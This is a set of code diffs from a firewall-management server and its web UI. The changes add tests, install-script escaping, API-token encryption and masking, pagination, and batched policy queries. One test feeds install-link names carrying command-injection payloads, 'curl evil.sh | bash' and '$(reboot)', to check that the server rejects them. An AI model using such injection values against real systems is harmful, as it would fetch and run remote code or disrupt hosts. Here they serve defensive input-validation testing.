const sets = await app.inject({
method: 'GET',
url: `/api/v1/agents/${id}/policy-sets`,
})
const items = (sets.json() as { items: { set_id: string }[] }).items
expect(items.some((s) => s.set_id === 'set-shared-default')).toBe(true)
}
// repeated bulk is a no-op (already approved)
const again = await app.inject({
method: 'POST',
url: '/api/v1/agents/approve-bulk',
payload: { agent_ids: [a1] },
})
expect(again.statusCode).toBe(200)
expect((again.json() as { items: unknown[] }).items).toEqual([])
})
it('PUT /policy-sets/:id/agents replaces assignment of the set', async () => {
const app = await appPromise
await app.ready()
const a1 = await createInvitedAgent(app, 'assign-01')
const a2 = await createInvitedAgent(app, 'assign-02')
await app.inject({
method: 'POST',
url: '/api/v1/agents/approve-bulk',
payload: { agent_ids: [a1, a2] },
})
const created = await app.inject({
method: 'POST',
url: '/api/v1/policy-sets',
payload: { name: 'bulk-assign-set' },
})
const setId = (created.json() as { id: string }).id
// assign both
const put = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: [a1, a2] },
})
expect(put.statusCode).toBe(200)
expect((put.json() as { added: string[] }).added.sort()).toEqual(
[a1, a2].sort(),
)
// a1 keeps set when a2 removed; shared default preserved for both
const drop = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: [a1] },
})
expect(drop.statusCode).toBe(200)
const dropBody = drop.json() as {
agent_ids: string[]
removed: string[]
}
expect(dropBody.agent_ids).toEqual([a1])
expect(dropBody.removed).toEqual([a2])
const setsA1 = (
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a1}/policy-sets` }))
.json() as { items: { set_id: string }[] }
).items.map((s) => s.set_id)
const setsA2 = (
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a2}/policy-sets` }))
.json() as { items: { set_id: string }[] }
).items.map((s) => s.set_id)
expect(setsA1).toContain(setId)
expect(setsA2).not.toContain(setId)
expect(setsA2).toContain('set-shared-default')
// empty array clears the whole assignment
const clear = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: [] },
})
expect(clear.statusCode).toBe(200)
expect((clear.json() as { agent_ids: string[] }).agent_ids).toEqual([])
// unknown agent → 404, and nothing changed
const bad = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: ['no-such-agent'] },
})
expect(bad.statusCode).toBe(404)
})
})
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('install-links', () => {
@@ -112,6 +116,55 @@ describe('install-links', () => {
expect(row?.status).toBe('pending')
})
it('rejects install link names with unsafe characters', async () => {
const app = await appPromise
await app.ready()
const bad = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
})
expect(bad.statusCode).toBe(400)
const quotes = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: "name'$(reboot)", platform: 'linux' },
})
expect(quotes.statusCode).toBe(400)
})
it('masks per-list api_token in list responses', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: {
name: 'evobgp-masked',
type: 'evobgp_community',
config: {
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: '',
},
},
})
expect(created.statusCode).toBe(200)
const body = created.json() as { config_json: string }
expect(body.config_json).not.toContain('super-secret-token')
expect(body.config_json).toContain('********')
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
const items = (lists.json() as { items: { config_json: string }[] }).items
expect(
items.some((l) => l.config_json.includes('super-secret-token')),
).toBe(false)
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
})
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
const app = await appPromise
await app.ready()
+13 -3
View File
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
}
/** Strip control characters that have no business inside generated scripts. */
function stripControlChars(s: string): string {
// eslint-disable-next-line no-control-regex
return s.replace(/[\x00-\x1f\x7f]/g, '')
}
function escapeRosString(s: string): string {
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
// RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
return stripControlChars(s)
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\$/g, '\\$')
}
/**
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
platform: string
installLinkId: string
}): string {
const cp = opts.cpUrl.replace(/\/$/, '')
const escape = (s: string) => s.replace(/'/g, `'\\''`)
const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
const header = [
'#!/usr/bin/env bash',
'# EvoFirewall short install link — env pre-set',
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function enrollApprovedLinux(
+2 -1
View File
@@ -12,6 +12,7 @@ import {
} from '@evofw/shared'
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
import { uniqCidrs } from '../uniq.js'
import { maskListConfig } from '../secret-cipher.js'
export function getListConfig(list: {
configJson: string
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
id: l.id,
name: l.name,
type: l.type,
config_json: l.configJson,
config_json: maskListConfig(l.configJson),
content_hash: l.contentHash,
refreshed_at: l.refreshedAt,
last_error: l.lastError,
+6 -3
View File
@@ -8,6 +8,7 @@ import {
rebuildManualListEntries,
} from './entries.js'
import { uniqCidrs } from '../uniq.js'
import { decryptSecret } from '../secret-cipher.js'
function hashCidrs(cidrs: string[]): string {
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
repos.replaceIpListEntries(db, listId, cidrs)
} else if (list.type === 'evobgp_community') {
const apiUrl =
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url')
String(config.api_url ?? '') ||
repos.getSetting(db, 'evobgp_api_url') ||
''
const token =
String(config.api_token ?? '') ||
repos.getSetting(db, 'evobgp_api_token')
decryptSecret(String(config.api_token ?? '') || null) ??
decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
const communityId = String(config.community_id ?? '')
if (!apiUrl || !token || !communityId) {
throw new Error('evobgp_api_url, token and community_id required')
+22
View File
@@ -0,0 +1,22 @@
/**
* Backwards-compatible list pagination: without limit/offset the response is
* the full list (total === items.length); with them, a page plus the total.
*/
export function applyPagination<T>(
items: T[],
query: { limit?: string; offset?: string },
): { items: T[]; total: number } {
const total = items.length
const limitRaw = query.limit !== undefined ? Number(query.limit) : NaN
const offsetRaw = query.offset !== undefined ? Number(query.offset) : NaN
if (!Number.isFinite(limitRaw) && !Number.isFinite(offsetRaw)) {
return { items, total }
}
const limit = Number.isFinite(limitRaw)
? Math.max(1, Math.min(1000, Math.floor(limitRaw)))
: items.length
const offset = Number.isFinite(offsetRaw)
? Math.max(0, Math.floor(offsetRaw))
: 0
return { items: items.slice(offset, offset + limit), total }
}
+51 -16
View File
@@ -54,13 +54,41 @@ export type EvaluatedPolicy = {
}
}
function expandList(db: Db, listId: string | null | undefined): string[] {
if (!listId) return []
return repos.listIpListEntries(db, listId).map((e) => e.cidr)
/**
* Prefetched expansion data: one batched query per kind instead of a query
* per rule (this code runs on every agent policy poll, ~60s per agent).
*/
type ExpansionContext = {
entriesByList: Map<string, string[]>
resolvedByRule: Map<string, string[]>
listNames: Map<string, string>
}
function buildExpansionContext(
db: Db,
rules: { id: string; listId: string | null; hostname: string | null }[],
portRuleRows: { listId: string | null }[],
): ExpansionContext {
const listIds = [
...new Set(
[
...rules.map((r) => r.listId?.trim() || ''),
...portRuleRows.map((r) => r.listId?.trim() || ''),
].filter(Boolean),
),
]
const hostnameRuleIds = [
...new Set(rules.filter((r) => r.hostname?.trim()).map((r) => r.id)),
]
return {
entriesByList: repos.mapIpListEntriesByListIds(db, listIds),
resolvedByRule: repos.mapResolvedCidrsByRuleIds(db, hostnameRuleIds),
listNames: repos.mapIpListNames(db, listIds),
}
}
function expandRule(
db: Db,
ctx: ExpansionContext,
rule: {
cidr: string | null
listId: string | null
@@ -70,9 +98,10 @@ function expandRule(
): string[] {
if (rule.cidr?.trim()) return [rule.cidr.trim()]
if (rule.hostname?.trim()) {
return repos.listResolvedForRule(db, rule.id).map((r) => r.cidr)
return ctx.resolvedByRule.get(rule.id) ?? []
}
return expandList(db, rule.listId)
const listId = rule.listId?.trim() || ''
return listId ? (ctx.entriesByList.get(listId) ?? []) : []
}
function resolveDefaultAction(agentDefaultAction: string | null | undefined): DefaultAction {
@@ -83,7 +112,7 @@ function resolveDefaultAction(agentDefaultAction: string | null | undefined): De
}
function sourceMeta(
db: Db,
ctx: ExpansionContext,
rule: {
cidr: string | null
listId: string | null
@@ -97,12 +126,12 @@ function sourceMeta(
return { kind: 'hostname', label: rule.hostname.trim() }
}
const listId = rule.listId?.trim() || ''
const name = listId ? repos.getIpList(db, listId)?.name : null
const name = listId ? ctx.listNames.get(listId) : null
return { kind: 'list', label: name || listId || 'list' }
}
function expandPortSrcCidrs(
db: Db,
ctx: ExpansionContext,
row: {
srcKind: string
srcCidr: string | null
@@ -114,18 +143,22 @@ function expandPortSrcCidrs(
return [row.srcCidr.trim()]
}
if (row.srcKind === 'list') {
const cidrs = expandList(db, row.listId)
const cidrs = row.listId
? (ctx.entriesByList.get(row.listId.trim()) ?? [])
: []
return cidrs.length ? uniqCidrs(cidrs) : []
}
return []
}
function expandPortRules(db: Db, agentId: string): EvaluatedPortRule[] {
const rows = repos.listEnabledAgentPortRules(db, agentId)
function expandPortRules(
ctx: ExpansionContext,
rows: ReturnType<typeof repos.listEnabledAgentPortRules>,
): EvaluatedPortRule[] {
const out: EvaluatedPortRule[] = []
for (const row of rows) {
const action = row.action === 'close' ? 'close' : 'open'
const srcCidrs = expandPortSrcCidrs(db, row)
const srcCidrs = expandPortSrcCidrs(ctx, row)
if (!srcCidrs.length) continue
const portStart = Math.max(1, Math.min(65535, row.portStart))
const portEnd = Math.max(portStart, Math.min(65535, row.portEnd))
@@ -161,6 +194,8 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
.filter((s) => s.enabled === 1)
const ordered = repos.listPolicyRulesForAgent(db, agentId)
const overrides = repos.listOverrides(db, agentId)
const portRuleRows = repos.listEnabledAgentPortRules(db, agentId)
const ctx = buildExpansionContext(db, ordered, portRuleRows)
const deny: string[] = []
const allow: string[] = []
@@ -169,7 +204,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
let rulesAllow = 0
for (const rule of ordered) {
const cidrs = expandRule(db, rule)
const cidrs = expandRule(ctx, rule)
const action = rule.action === 'deny' ? 'deny' : 'allow'
if (action === 'deny') {
deny.push(...cidrs)
@@ -178,7 +213,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
allow.push(...cidrs)
rulesAllow += 1
}
const src = sourceMeta(db, rule)
const src = sourceMeta(ctx, rule)
const setName =
assignedSets.find((s) => s.setId === rule.setId)?.name ?? null
chain.push({
@@ -214,7 +249,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
const conflictsDropped = allowRaw.length - allowCidrs.length
const defaultAction = resolveDefaultAction(agent.defaultAction)
const policyMode = legacyModeFromDefaultAction(defaultAction)
const portRules = expandPortRules(db, agentId)
const portRules = expandPortRules(ctx, portRuleRows)
const payload = JSON.stringify({
apply_version: POLICY_APPLY_VERSION,
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function createAgent(
+4
View File
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function enrollApprovedLinux(
@@ -0,0 +1,102 @@
import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import { repos } from '@evofw/db'
import type { AppConfig } from '../config.js'
const testConfig: AppConfig = {
databaseUrl: 'sqlite::memory:',
jwtSecret: 'test',
jwtTtlHours: 24,
serverPort: 8080,
staticDir: null,
logLevel: 'error',
authRequired: false,
authIssuer: 'https://auth.test',
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('stats retention + list pagination', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('deleteStatsSamplesBefore drops only old samples', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'retention-agent', platform: 'linux' },
})
const agentId = (created.json() as { agent_id: string }).agent_id
const iso = (daysAgo: number) =>
new Date(Date.now() - daysAgo * 86_400_000).toISOString()
for (const daysAgo of [60, 45, 10, 0]) {
repos.insertStatsSample(app.db, {
id: crypto.randomUUID(),
agentId,
packetsDropped: daysAgo,
packetsAccepted: 0,
prefixCount: 0,
kernelMethod: null,
recordedAt: iso(daysAgo),
})
}
const cutoff = new Date(Date.now() - 30 * 86_400_000).toISOString()
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
expect(deleted).toBe(2)
const remaining = repos.listStatsSamples(app.db, agentId, 100)
expect(remaining.map((s) => s.packetsDropped).sort()).toEqual([0, 10])
})
it('list endpoints return total and honor limit/offset', async () => {
const app = await appPromise
await app.ready()
for (const name of ['page-a', 'page-b', 'page-c']) {
await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name, platform: 'linux' },
})
}
await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: { name: 'page-list', type: 'static' },
})
const all = await app.inject({ method: 'GET', url: '/api/v1/agents' })
expect(all.statusCode).toBe(200)
const allBody = all.json() as { items: unknown[]; total: number }
expect(allBody.items.length).toBe(allBody.total)
const page = await app.inject({
method: 'GET',
url: '/api/v1/agents?limit=1&offset=1',
})
const pageBody = page.json() as { items: unknown[]; total: number }
expect(pageBody.items).toHaveLength(1)
expect(pageBody.total).toBe(allBody.total)
const lists = await app.inject({
method: 'GET',
url: '/api/v1/lists?limit=1',
})
const listsBody = lists.json() as { items: unknown[]; total: number }
expect(listsBody.items).toHaveLength(1)
expect(listsBody.total).toBeGreaterThanOrEqual(1)
})
})
+30 -3
View File
@@ -67,6 +67,21 @@ export function mapPolicySets(
export function mapPolicyRule(
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
db: Parameters<typeof repos.listResolvedForRule>[0],
) {
return mapPolicyRuleWithCounts(r, r.hostname ? countResolved(db, [r.id]).get(r.id) ?? 0 : undefined)
}
function countResolved(
db: Parameters<typeof repos.listResolvedForRule>[0],
ruleIds: string[],
): Map<string, number> {
const cidrs = repos.mapResolvedCidrsByRuleIds(db, ruleIds)
return new Map([...cidrs].map(([id, list]) => [id, list.length]))
}
function mapPolicyRuleWithCounts(
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
resolvedCount: number | undefined,
) {
return {
id: r.id,
@@ -77,11 +92,23 @@ export function mapPolicyRule(
list_id: r.listId,
cidr: r.cidr,
hostname: r.hostname,
resolved_count: r.hostname
? repos.listResolvedForRule(db, r.id).length
: undefined,
resolved_count: resolvedCount,
comment: r.comment,
created_at: r.createdAt,
updated_at: r.updatedAt,
}
}
/** Batched variant for list endpoints: one resolved-counts query for all rules. */
export function mapPolicyRules(
rules: NonNullable<ReturnType<typeof repos.getPolicyRule>>[],
db: Parameters<typeof repos.listResolvedForRule>[0],
) {
const counts = countResolved(
db,
rules.filter((r) => r.hostname).map((r) => r.id),
)
return rules.map((r) =>
mapPolicyRuleWithCounts(r, r.hostname ? counts.get(r.id) ?? 0 : undefined),
)
}
@@ -0,0 +1,64 @@
import { describe, it, expect, afterEach } from 'vitest'
import {
encryptSecret,
decryptSecret,
isEncryptedSecret,
sealListConfig,
maskListConfig,
} from './secret-cipher.js'
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
afterEach(() => {
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
})
describe('secret-cipher', () => {
it('passes values through when no key is configured', () => {
delete process.env.EVOFW_SECRET_KEY
expect(encryptSecret('plain')).toBe('plain')
expect(decryptSecret('plain')).toBe('plain')
expect(isEncryptedSecret('plain')).toBe(false)
})
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
expect(enc).not.toContain('super-secret-token')
expect(enc.startsWith('enc:v1:')).toBe(true)
expect(decryptSecret(enc)).toBe('super-secret-token')
// already-encrypted values are not double-encrypted
expect(encryptSecret(enc)).toBe(enc)
})
it('returns null for encrypted values when the key is missing or wrong', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
delete process.env.EVOFW_SECRET_KEY
expect(decryptSecret(enc)).toBeNull()
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
expect(decryptSecret(enc)).toBeNull()
})
it('seals and masks list config api_token', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const sealed = sealListConfig({
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: 'abc',
})
expect(sealed).not.toContain('super-secret-token')
const parsed = JSON.parse(sealed) as { api_token: string }
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
const masked = maskListConfig(sealed)
expect(masked).toContain('********')
expect(masked).not.toContain('enc:v1:')
// configs without tokens pass through untouched
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
'{"api_url":"https://x"}',
)
})
})
+86
View File
@@ -0,0 +1,86 @@
import {
createCipheriv,
createDecipheriv,
randomBytes,
scryptSync,
} from 'node:crypto'
/**
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
* stored as before (plaintext) so existing deployments keep working.
*
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
* scrypt-derived per-value key.
*/
const PREFIX = 'enc:v1:'
function deriveKey(secret: string, salt: Buffer): Buffer {
return scryptSync(secret, salt, 32)
}
export function isEncryptedSecret(value: string): boolean {
return value.startsWith(PREFIX)
}
export function encryptSecret(value: string): string {
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret || !value || isEncryptedSecret(value)) return value
const salt = randomBytes(16)
const iv = randomBytes(12)
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
const tag = cipher.getAuthTag()
const payload = [salt, iv, tag, data]
.map((b) => b.toString('base64'))
.join(':')
return `${PREFIX}${payload}`
}
/**
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
* null for encrypted values that cannot be decrypted (key missing/rotated)
* so callers can treat the secret as unset instead of sending garbage.
*/
export function decryptSecret(value: string | null | undefined): string | null {
if (!value) return null
if (!isEncryptedSecret(value)) return value
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret) return null
const parts = value.split(':')
if (parts.length !== 6) return null
try {
const salt = Buffer.from(parts[2]!, 'base64')
const iv = Buffer.from(parts[3]!, 'base64')
const tag = Buffer.from(parts[4]!, 'base64')
const data = Buffer.from(parts[5]!, 'base64')
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
decipher.setAuthTag(tag)
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
} catch {
return null
}
}
/** Encrypt secrets inside a list config before persisting it. */
export function sealListConfig(config: Record<string, unknown>): string {
if (typeof config.api_token === 'string' && config.api_token) {
config = { ...config, api_token: encryptSecret(config.api_token) }
}
return JSON.stringify(config)
}
/** Mask secrets inside a list config before returning it to clients. */
export function maskListConfig(configJson: string): string {
if (!configJson.includes('api_token')) return configJson
try {
const config = JSON.parse(configJson) as Record<string, unknown>
if (typeof config.api_token === 'string' && config.api_token) {
config.api_token = '********'
}
return JSON.stringify(config)
} catch {
return configJson
}
}
@@ -15,6 +15,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('settings + bumpAgentsForList', () => {
View File
+1
View File
@@ -7,6 +7,7 @@
"dev": "vite",
"build": "vite build",
"typecheck": "tsc --noEmit",
"test": "vitest run",
"preview": "vite preview"
},
"dependencies": {
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
import { EmptyState } from '@/components/empty-state'
import { agentBlockedIpsQueryOptions } from '@/queries'
import { Skeleton } from '@evofw/ui/components/skeleton'
import { formatNumber, formatStampDateTime } from '@/lib/format'
/**
* Per-IP blocked stats — Linux nft/ipset counters or MikroTik EVOFW_HITS.
@@ -45,21 +46,6 @@ type AgentBlockedIpsProps = {
platform: string
}
const packetFmt = new Intl.NumberFormat('ru-RU')
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
year: 'numeric',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
})
function formatSeen(iso: string): string {
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
function formatPorts(ports: BlockedIpPort[] | undefined): string {
if (!ports?.length) return '—'
@@ -99,7 +85,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
),
cell: ({ row }) => (
<span className="tabular-nums">
{packetFmt.format(row.original.packets)}
{formatNumber(row.original.packets)}
</span>
),
meta: { headerTitle: packetsTitle },
@@ -128,7 +114,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
),
cell: ({ row }) => (
<span className="text-muted-foreground text-xs tabular-nums">
{formatSeen(row.original.last_seen_at)}
{formatStampDateTime(row.original.last_seen_at)}
</span>
),
meta: { headerTitle: 'Last seen' },
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
import { EmptyState } from '@/components/empty-state'
import { agentBlockedPortsQueryOptions } from '@/queries'
import { Skeleton } from '@evofw/ui/components/skeleton'
import { formatNumber, formatStampDateTime } from '@/lib/format'
/**
* Aggregate destination ports hit by denied sources (Linux nft).
@@ -37,21 +38,6 @@ type AgentBlockedPortsProps = {
agentId: string
}
const packetFmt = new Intl.NumberFormat('ru-RU')
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
year: 'numeric',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
})
function formatSeen(iso: string): string {
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
const q = useQuery(agentBlockedPortsQueryOptions(agentId))
@@ -92,7 +78,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
),
cell: ({ row }) => (
<span className="tabular-nums">
{packetFmt.format(row.original.packets)}
{formatNumber(row.original.packets)}
</span>
),
meta: { headerTitle: 'Packets' },
@@ -105,7 +91,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
),
cell: ({ row }) => (
<span className="text-muted-foreground text-xs tabular-nums">
{formatSeen(row.original.last_seen_at)}
{formatStampDateTime(row.original.last_seen_at)}
</span>
),
meta: { headerTitle: 'Last seen' },
+4 -27
View File
@@ -21,36 +21,13 @@ import {
} from '@evofw/ui/components/item'
import { Separator } from '@evofw/ui/components/separator'
import { cn } from '@evofw/ui/lib/utils'
import { formatPackets, formatShortDateTime } from '@/lib/format'
/**
* Agent catalog card — hybrid card-3 header + stats strip + stats-12 values.
* Preview: https://reui.io/preview/base/card-3 · https://reui.io/preview/base/stats-12
*/
const packetFmt = new Intl.NumberFormat('ru-RU', {
notation: 'compact',
maximumFractionDigits: 1,
})
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
hour: '2-digit',
minute: '2-digit',
})
function formatPackets(n: number | undefined, hasApply: boolean): string {
if (!hasApply || n === undefined) return '—'
return packetFmt.format(n)
}
function formatShort(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
type AgentCardProps = {
agent: Agent
selected?: boolean
@@ -65,13 +42,13 @@ export function AgentCard({
onDelete,
}: AgentCardProps) {
const hasApply = agentHasTrafficSample(agent)
const dropped = formatPackets(agentTrafficDropped(agent), hasApply)
const accepted = formatPackets(agentTrafficAccepted(agent), hasApply)
const dropped = hasApply ? formatPackets(agentTrafficDropped(agent)) : '—'
const accepted = hasApply ? formatPackets(agentTrafficAccepted(agent)) : '—'
const traffic =
dropped === '—' && accepted === '—'
? '—'
: `${dropped} · ↑${accepted}`
const seen = formatShort(agent.last_seen_at ?? agent.last_apply_at)
const seen = formatShortDateTime(agent.last_seen_at ?? agent.last_apply_at)
const defaultAction =
agent.default_action === 'drop' ? 'Drop' : 'Accept'
const subtitle = [
@@ -18,6 +18,7 @@ import {
SelectValue,
} from '@evofw/ui/components/select'
import { Separator } from '@evofw/ui/components/separator'
import { formatDateTime } from '@/lib/format'
/**
* Agent facts panel — SA3 RunFacts DNA (editable default_action).
@@ -31,9 +32,7 @@ type AgentFactsPanelProps = {
function formatWhen(iso?: string | null): string {
if (!iso) return '—'
const d = new Date(iso)
if (Number.isNaN(d.getTime())) return iso
return d.toLocaleString('ru-RU')
return formatDateTime(iso)
}
export function AgentFactsPanel({ agent }: AgentFactsPanelProps) {
@@ -26,6 +26,7 @@ import {
TooltipContent,
TooltipTrigger,
} from '@evofw/ui/components/tooltip'
import { formatPackets, formatShortDateTime } from '@/lib/format'
/**
* Fleet triage DataGrid — firewall ops density.
@@ -34,30 +35,6 @@ import {
* · https://reui.io/preview/base/solution-agents-1
*/
const packetFmt = new Intl.NumberFormat('ru-RU', {
notation: 'compact',
maximumFractionDigits: 1,
})
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
hour: '2-digit',
minute: '2-digit',
})
function formatPackets(n: number | undefined, hasApply: boolean): string {
if (!hasApply || n === undefined) return '—'
return packetFmt.format(n)
}
function formatAgentSeen(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
export type AgentFleetDataGridProps = {
data: Agent[]
filterFields: FilterFieldConfig[]
@@ -231,8 +208,8 @@ export function AgentFleetDataGrid({
cell: ({ row }) => {
const a = row.original
const hasApply = agentHasTrafficSample(a)
const dropped = formatPackets(agentTrafficDropped(a), hasApply)
const accepted = formatPackets(agentTrafficAccepted(a), hasApply)
const dropped = hasApply ? formatPackets(agentTrafficDropped(a)) : '—'
const accepted = hasApply ? formatPackets(agentTrafficAccepted(a)) : '—'
if (dropped === '—' && accepted === '—') {
return <DataGridMutedCell></DataGridMutedCell>
}
@@ -255,7 +232,7 @@ export function AgentFleetDataGrid({
),
cell: ({ row }) => {
const a = row.original
const short = formatAgentSeen(a.last_seen_at)
const short = formatShortDateTime(a.last_seen_at)
if (!a.last_seen_at || short === '—') {
return <DataGridMutedCell></DataGridMutedCell>
}
@@ -33,6 +33,7 @@ import {
SelectValue,
} from '@evofw/ui/components/select'
import { TabsContent } from '@evofw/ui/components/tabs'
import { formatDateTime } from '@/lib/format'
/**
* Observed host firewall + listeners (Linux).
@@ -229,7 +230,7 @@ export function AgentHostFirewall({ agentId }: AgentHostFirewallProps) {
<FrameDescription>
Снимок nft/iptables/ufw/firewalld + listeners. EvoFW vs foreign.
{q.data?.collected_at
? ` Обновлено: ${new Date(q.data.collected_at).toLocaleString('ru-RU')}`
? ` Обновлено: ${formatDateTime(q.data.collected_at)}`
: ' Пока нет снимка — дождитесь sync агента.'}
</FrameDescription>
</FrameHeader>
@@ -16,6 +16,7 @@ import {
FramePanel,
FrameTitle,
} from '@/components/reui/frame'
import { formatDateTime } from '@/lib/format'
/**
* Agent lifecycle timeline.
@@ -32,9 +33,7 @@ type Step = {
function formatWhen(iso?: string | null): string | undefined {
if (!iso) return undefined
const d = new Date(iso)
if (Number.isNaN(d.getTime())) return iso
return d.toLocaleString('ru-RU')
return formatDateTime(iso)
}
export function AgentLifecycleTimeline({ agent }: { agent: Agent }) {
@@ -0,0 +1,82 @@
import { describe, it, expect } from 'vitest'
import { isAgentStale, computeFleetCounts } from './agents-fleet-kpis'
import type { Agent } from '@evofw/shared'
function agent(patch: Partial<Agent>): Agent {
return {
id: 'a1',
name: 'a',
hostname: null,
platform: 'linux',
token_prefix: 'x',
status: 'approved',
default_action: 'accept',
policy_mode: 'blacklist',
policy_generation: 1,
last_seen_at: null,
last_seen_ip: null,
last_apply_at: null,
